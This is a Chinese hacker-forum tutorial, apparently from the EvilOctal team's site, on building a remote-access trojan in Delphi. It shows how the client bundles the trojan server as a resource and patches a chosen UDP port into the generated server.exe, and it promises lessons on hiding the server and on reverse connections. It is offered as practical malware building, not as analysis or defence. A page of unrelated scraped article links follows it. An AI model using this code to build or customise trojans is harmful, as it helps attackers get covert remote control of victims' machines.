文章作者:上帝的禁区
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
DELPHI木马DIY之生成服务端
   我在这里就生成简单的服务端,为什么不先讲服务端的隐藏?因为我觉得生成服务端要好理解一点,简单一点,我们就由浅入深吧,OK,LET'S GO。
   网络上其他的生成服务端的方式我不是很清楚,我就用我的方法来和大家讲解(不过还是先声明,我的方法亦是来自于网络,如果和谁的方法相同,请不要说我侵犯版权,因为我也不知道原作者是谁了,我这文章不作商业用途,如果有朋友认为我侵犯了他的版权,请立即通知我,我马上取消这个文章的继续发布!或者给他在文章中署名,OK,主要本人是学法律的,所以说话有点唠叨,不过中国有句俗话:“丑话说在前面。”不过用的人少啊)
  开始:
一.我们要先改一下我们配置的服务端。
  服务端我们就暂时不用自定端口了,跟着我一步一步的做,暂时不要问为什么,我稍后就解释
  我们打开服务端的工程,在上面是不是有一句这个话
  var
  Form1: TForm1;
  对,就在这,我们在下面加一句:duankou: string ='xxxxx';
  就是全局变量吧,然后我们再点一下Form1这个窗口,就是你的最初的窗口啦,添加一个事件
  ONCREATE,就是TForm1.FormCreate,意思是当窗口建立的时候要做的事情。我们加上这个语句:
  NMUDP1.LocalPort:=strtoint(duankou);
  意思是NMUDP1的本地端口为duankou的数字。(strtoint的意思是把字符串转换为数字,懂吧)
  意思已经很明白了,duankou: string ='xxxxx'为什么要是xxxxx?主要是一会好搜索,嘿。 
  好了,我们服务端基本上配置完了,现在我们来生成服务端,这个应该会了吧。
二.第二步实际我们要做两个事情
  1).就是把服务端生成为资源
  2).就是查找xxxxx在服务端的位置
  ok我们还是先来查找xxxxx在服务端的位置吧。
  1.我们打开任意一个16进制编辑器,用这个编辑器打开我们的服务端,这个简单吧。
  2.搜索xxxxx,这样应该一次就能搜索出来xxxxx所在的位置,我这是4e240。OK,你的不同就自己定。
  3.打开一个进制转换工具(我也写了一个,推荐到邪恶八进制搜索一下sobiny发布的文章,里面应该就有这个工具哦,嘿嘿,打个广告)把4e240转换为10进制的数字。320064我这是,一定要把这个数字记着哦,我们一会要用的东西,这是最主要的东西哦!
  好了,我们再来把服务端生成为资源
  1.我们在生成了服务端的文件夹里面建立一个文本文档,里面写上一句话
    fuwuduan RCDATA server.exe
    标识符  区域吧 文件名
    标识符尽量不要和文件名一样,有时候会出错了,OK,听我一句吧,谢谢
    我们把这个文本文档改名成为fuwu.rc这个应该不用解释了。
  2.再建立一个批处理文件,里面写上这么一句话
    path=E:\Program Files\Borland\Delphi7\Bin;
    Brcc32 fuwu.rc
    path为你的delphi7的BIN目录的路径,OK,然后运行这个批处理,在你的服务端的文件夹里就会生成一个fuwu.res这是资源哦,嘿嘿,重要的东西
    我们把他复制到客服端的文件夹里,OK,我们这一步的准备工作就做完了~~~
三.第三步我们就要配置客服端了,让客服务端可以生成一个自定端口的服务段
    1.我们要在客服端的dpr里加上一句话{$R *.res}下面加上一个{$R fuwu.res}意思就是让程序生成时自动加载一个服务端的资源进去。
    2.我们要开始试着生成一个服务端了,不过这步挺重要,我们还是在第四步说。
四.最重要的一步,要主要,一步一步来,跟着做,我会详细解释的。
    1.我们生成一个全局的变量先
    在uses的下面和type的上面加上一句:
    const OFFSET_DUANKOU = 320064;//这个就根据你自己的值来定。
    把这一段的代码给出来,免得新手看不懂
   uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, NMUDP;
   const OFFSET_DUANKOU = 320064;
   type
    TForm1 = class(TForm)
    Button1: TButton;//看懂我是加在什么位置了的吧
    2.我们添加两个控件 edit和按扭,EDIT是用来写你要生成的服务端的端口,按扭是生成吧。
    3.我们生成一个button2的点击事件
     我们现在在button2的点击事件中声明一下
var
  WriteBuff, ziyuanzhizhen: PChar;
  ziyuanweizhi: HRSRC;
  ziyuandaxiao, BytesWritten: Longword;
  shujuchulijubing: THandle;
  shenqingzhizhen: THandle;
  duankou:string;
现在我们开始begin
BEGIN
duankou:=trim(Edit4.Text);  //端口为edit4的文字
ziyuanweizhi := FindResource(HInstance, 'fuwuduan', RT_RCDATA);  //资源指针为寻找到的资源'fuwuduan'(就是我先说的标识符)
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);//资源大小
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi); //数据处理句炳  
ziyuanzhizhen := LockResource(shujuchulijubing);//资源指针
shenqingzhizhen := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);//写文件
Sleep(100);
SetFilePointer(shenqingzhizhen, OFFSET_DUANKOU, nil, FILE_BEGIN);//重定位指针
WriteBuff := PChar(duankou + StringOfChar(#0, 5 - Length(duankou)));//要写的数据
WriteFile(shenqingzhizhen, WriteBuff^, 5, BytesWritten, nil);//再次修改文件
CloseHandle(shenqingzhizhen);//关闭资源
end;
我这没法给大家详细解释了,不过如果你聪明的话应该也可以融会惯通了。
注意的是SetFilePointer这里的OFFSET_DUANKOU为要开始写的地址,当然就是我们先找到的地址
WriteBuff的里面的5为XXXXX的长度,WriteFile里面的5也是,shenqingzhizhen里面的'server.exe'可以自己改名字,也可以是完整的路径,也可以是EDIT里面的东西
然后我们生成这个客服端,设置好EDIT4.text后(就是要生成的端口,我这为了方便就没有什么容错啊,提示错误之类的了,不过端口自定义的规则这些,大家应该清楚)点击BUTTON2,那么在当前的文件夹下就会生成一个服务端,运行后端口就会是EDIT4.text的内容
大家测试一下吧
我在XP+DELPHI的环境一切正常。~~~
好了,今天就到这里了吧,下回我将说说如何实现服务端的隐藏,如果有机会,我还会为大家讲讲反向连接之类的。欢迎大家到邪恶八进制来看看资料,相信不久之后,你一定会成为一个高手(为什么不说“也成为高手”?因为我都还是新手啊,我现在正在为成为邪恶八进制的成员而努力学习,不过由于技术还不行,所以还在努力学习,连要求都不敢提出啊!呵呵。相信你学习了不久以后,一定能成为邪恶八进制的成员,那是一种光荣)
好了,下回见。

[原创]DELPHI木马DIY之生成服务端的更多相关文章

  1. 根据wsdl生成服务端代码

    场景描述 最近在和一家公司做业务接口对接,由他们那边回调我们这边,对方直接扔过来一个webservice的wsdl文件,让我们按照他们的规范来做webservice服务, 大多数的对接应该是我们创建完 ...

  2. [原创]使用vscode+es6写nodejs服务端调试配置

    前端的小伙伴们在babel等的加持下,已经可以愉快的使用es6来写代码了. 然后对于服务端的nodejs就有点坑爹了,虽然原生支持了es6,但是只是部分支持,一些不支持的特性(比如module)使用了 ...

  3. delphi调用 java 的 WebService服务端.

    // InvRegistry.RegisterInvokeOptions(TypeInfo(ModelADServicePortType), ioLiteral); InvRegistry.Regis ...

  4. iOS推送小结(证书的生成、客户端的开发、服务端的开发)

    1.推送过程简介 1.1.App启动过程中,使用UIApplication::registerForRemoteNotificationTypes函数与苹果的APNS服务器通信,发出注册远程推送的申请 ...

  5. axis2框架用wsdl文件生成的服务端MessageReceiveInOut文件注意事项

    在用axis2生成服务端文件和客户端文件,当客户端文件调用服务端文件时,都是通过wsdl文件生成的 配置文件进行相互的调用. 在一开始做开发测试的时候,通过soapUI进行调用接口的时候,可以调用成功 ...

  6. 根据服务端生成的WSDL文件创建客户端支持代码的三种方式

    第一种:使用wsimport是JDK自带的工具,来生成 生成java客户端代码常使用的命令参数说明: 参数 说明 -p 定义客户端生成类的包名称 -s 指定客户端执行类的源文件存放目录 -d 指定客户 ...

  7. axis2生成webservice服务端返回String[]和String[][]一维数组和二维数组解析

    环境:用axis2生成服务端,用aixs做客户端 1:直接返回String[]: public String[] testArr(String name) { String[] ret=new Str ...

  8. 根据wsdl反向生成webservice服务端(3种方法)

    前言 正常情况下,都是我们项目组创建一个webservice服务端,客户通过我们提供的wsdl地址生成客户端并进行访问:但是最近和一个国企做接口对接,他们却只提供给我们wsdl,需要我们根据wsdl生 ...

  9. kbengine mmo源码(完整服务端源码+资源+完整客户端源码)

      本项目作为kbengine服务端引擎的客户端演示而写 更新kbengine插件库(https://github.com/kbengine/kbengine_unity3d_plugins):    ...

随机推荐

  1. php中命名空间的使用

    简单使用 命名空间主要解决函数/类冲突的问题.由于PHP中中不允许函数重载,所以我们要使用的到命名空间的.先看一个简单的例子. <?php namespace A; public functio ...

  2. C#基础知识系列三(类和结构体、String和StringBuilder、equals和==)

    前言 这一节主要来了解一下类和结构体之间的异同点.以及针对String和StringBuilder的用法.equals和==,其实可以看出很多地方都用到了上一节的值类型和引用类型.堆栈和装箱拆箱操作吧 ...

  3. 【前端学习】git命令行界面

    学习目标:掌握git命令行界面的操作.掌握最基本的clone add commit push pull操作. 先下载客户端:http://github-windows.s3.amazonaws.com ...

  4. Oracle 调度程序(scheduler)摘自一位大神

    在11g中,Oracle提供了一个新建的Scheduler特性,帮助将作业实现自动化.它还可以帮助你控制资源的利用与并可以将数据库中的作业按优先顺序执行.传统的dbms_jobs的一个限制是它只能调度 ...

  5. BZOJ-1087 互不侵犯King 状压DP+DFS预处理

    1087: [SCOI2005]互不侵犯King Time Limit: 10 Sec Memory Limit: 162 MB Submit: 2337 Solved: 1366 [Submit][ ...

  6. 学习笔记 BIT(树状数组)

    痛定思痛,打算切割数据结构,于是乎直接一发BIT 树状数组能做的题目,线段树都可以解决 反之则不能,不过树状数组优势在于编码简单和速度更快 首先了解下树状数组: 树状数组是一种操作和修改时间复杂度都是 ...

  7. 【poj2342】 Anniversary party

    http://poj.org/problem?id=2342 (题目链接) 题意 没有上司的舞会... Solution 树形dp入门题. dp[i][1]表示第i个节点的子树当节点i去时的最大值,d ...

  8. 【bzoj1202】 HNOI2005—狡猾的商人

    http://www.lydsy.com/JudgeOnline/problem.php?id=1202 (题目链接) 题意 给出m段区间和,判断是否存在某段区间与之前读入的区间相矛盾. Soluti ...

  9. poj1056 (Trie入门)寻找字符串前缀

    题意:给你一堆字符串,问是否满足对于任意两个字符串a.b,a不是b的前缀 字典树==前缀树==Trie树 trie入门题,只用到了insert和query操作 #include <cstdio& ...

  10. 洛谷P1262 间谍网络

    本来只想刷道小题,没想到还有点麻烦 题目描述 由于外国间谍的大量渗入,国家安全正处于高度的危机之中.如果A间谍手中掌握着关于B间谍的犯罪证据,则称A可以揭发B.有些间谍收受贿赂,只要给他们一定数量的美 ...